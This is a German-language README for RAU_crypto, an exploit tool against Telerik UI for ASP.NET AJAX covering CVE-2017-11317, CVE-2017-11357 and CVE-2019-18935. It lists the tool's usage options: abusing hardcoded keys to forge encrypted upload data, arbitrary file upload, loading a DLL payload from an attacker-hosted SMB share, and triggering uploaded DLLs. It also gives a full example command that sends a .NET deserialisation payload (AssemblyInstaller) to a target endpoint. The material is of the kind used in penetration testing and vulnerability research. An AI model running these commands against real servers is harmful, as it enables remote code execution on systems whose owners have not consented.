
Telerik UI for ASP.NET AJAX Dateiupload- und .NET-Deserialisierungs-Exploit (CVE-2017-11317, CVE-2017-11357, CVE-2019-18935)
Kombinierter Exploit für Telerik UI für ASP.NET AJAX.
Unterstützt nun das Testen der Fähigkeit des Ziels, Remote-Payloads von einem angreifergehosteten SMB-Dienst abzurufen. Verwenden Sie Burp Collaborator und/oder Responder, um zu testen, ob die erforderlichen Voraussetzungen erfüllt sind.
Damit der Exploit funktioniert, benötigen Sie im Allgemeinen eine Version mit fest codierten Schlüsseln, oder Sie müssen den Schlüssel kennen, z. B. wenn Sie den Inhalt der web.config offenlegen können. Der Exploit ermöglicht außerdem die einfache Entschlüsselung und Verschlüsselung der rauPostData, die mit Telerik.Web.UI.WebResource.axd?type=rau verwendet werden.
pip3 install pycryptodome oder pip3 install pycryptodomexMein anderer Telerik-UI-Exploit (für CVE-2017-9248) dürfte ebenfalls von Interesse sein. Er ist hier verfügbar:
Hinweis: Die letzten vier Punkte sind abgeschlossen, aber nicht veröffentlicht.
Die Schwachstelle beim Datei-Upload (CVE-2017-11317) wurde von anderen entdeckt; die Anerkennung gebührt meines Erachtens @straight_blast @pwntester @olekmirosh. Kurz nach der Ankündigung stieß ich im Rahmen meiner Arbeit auf die Telerik-Bibliothek, also recherchierte ich die Schwachstelle und schrieb diesen Exploit im Juli 2017. Ich meldete außerdem CVE-2017-11357 für die damit zusammenhängende unsichere direkte Objektreferenz.
Die Schwachstelle in der .NET-Deserialisierung (CVE-2019-18935) wurde von @mwulftange entdeckt.
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py -h
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Check remote SMB payload capability -r lhost url [proxy]
Load remote SMB dll payload -R lhost/share/mixed_mode_assembly.dll url [proxy]\n\n" +
Trigger local uploaded dll payload -L c:/users/public/documents/mixed_mode_assembly.dll url [proxy]\n\n" +
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
Screenshot der Entschlüsselung
Screenshot des Uploads
Details zu benutzerdefinierten Payloads für die .NET-Deserialisierung finden Sie in einem großartigen Artikel von @mwulftange, der diese Schwachstelle entdeckt hat, im Code-White-Blog unter dem folgenden Link.
Update: Es gibt einen alternativen Exploit von Caleb Gross @noperator, der Funktionen dieses Exploits übernimmt, mit einem großartigen Blogartikel, der alles erklärt. Dank auch an Caleb für seinen Beitrag zu RAU_Crypto.
Weitere relevante Links.
Beispiel für .NET-Deserialisierungs-Payload:
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
Für Mixed-Mode-DLLs siehe mein anderes GitHub-Repository:
Besonderer Dank an @irsdl, der die Funktion für benutzerdefinierte Payloads inspiriert hat.
Dank an @rwincey, der die Remote-DLL-Funktion inspiriert hat.